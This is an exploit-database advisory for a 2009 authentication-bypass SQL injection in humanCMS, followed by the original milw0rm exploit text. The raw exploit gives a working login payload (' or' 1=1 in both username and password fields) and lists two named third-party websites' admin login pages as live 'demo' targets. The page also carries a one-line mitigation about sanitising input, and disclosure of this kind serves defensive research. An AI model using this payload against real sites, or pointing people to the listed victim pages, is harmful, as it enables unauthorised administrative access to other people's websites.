humanCMS (Auth Bypass) SQL Injection Vulnerability

vendor:

humanCMS

by:

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: humanCMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

humanCMS (Auth Bypass) SQL Injection Vulnerability

A vulnerability in humanCMS allows an attacker to bypass authentication by using the username ' or' 1=1 and the password ' or' 1=1. This allows the attacker to gain access to the admin panel of the website.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
()                                                                                                    ()
()    f KHatr Zfaft Zenta9 f Zfaft Galo ya khir CHirbakhzer                                           ()                                                                                           
()                                                                                                    ()
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
[+]  humanCMS   (Auth Bypass)  SQL Injection Vulnerability
[+]  Discovered by  next
[+]  www.sa3eka.com   ()()()()()  www.m4r0c-s3curity.cc
[+] vie.0[at]hotmail.com
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

[+]  Home Page      :      http://www.squarelabel.com
                           "humanCMS site description"

[+]  Auth Bypass

[+] expolit    :           username :     ' or' 1=1
                           password :      ' or' 1=1

[+] admin login demo :
                           http://www.festivalcite.ch/index.php?id=&action=login
                           http://www.squarelabel.com/index.php?id=&action=login

()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

# milw0rm.com [2009-08-24]